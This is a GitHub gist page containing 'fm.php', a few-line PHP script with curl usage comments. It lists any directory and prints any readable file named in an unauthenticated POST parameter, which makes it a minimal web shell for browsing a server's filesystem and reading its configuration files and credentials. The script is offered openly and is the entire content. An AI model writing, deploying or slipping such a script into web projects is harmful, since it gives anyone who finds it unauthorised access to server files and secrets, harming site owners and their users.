Skip to content

Instantly share code, notes, and snippets.

@laztname

laztname/fm.php

Created December 3, 2021 13:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save laztname/88392d1548f1d606bfbb9cd8922c70c3 to your computer and use it in GitHub Desktop.
Save laztname/88392d1548f1d606bfbb9cd8922c70c3 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
fm.php
<?=
# $ curl localhost/fm.php --data "0=."
# $ curl localhost/fm.php --data "0=fm.php&r"
$path = $_POST[0];
print_r(scandir($path));
if (isset($_POST['r']) && file_exists($path)) {
readfile($path);
print_r(file_get_contents($path));
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment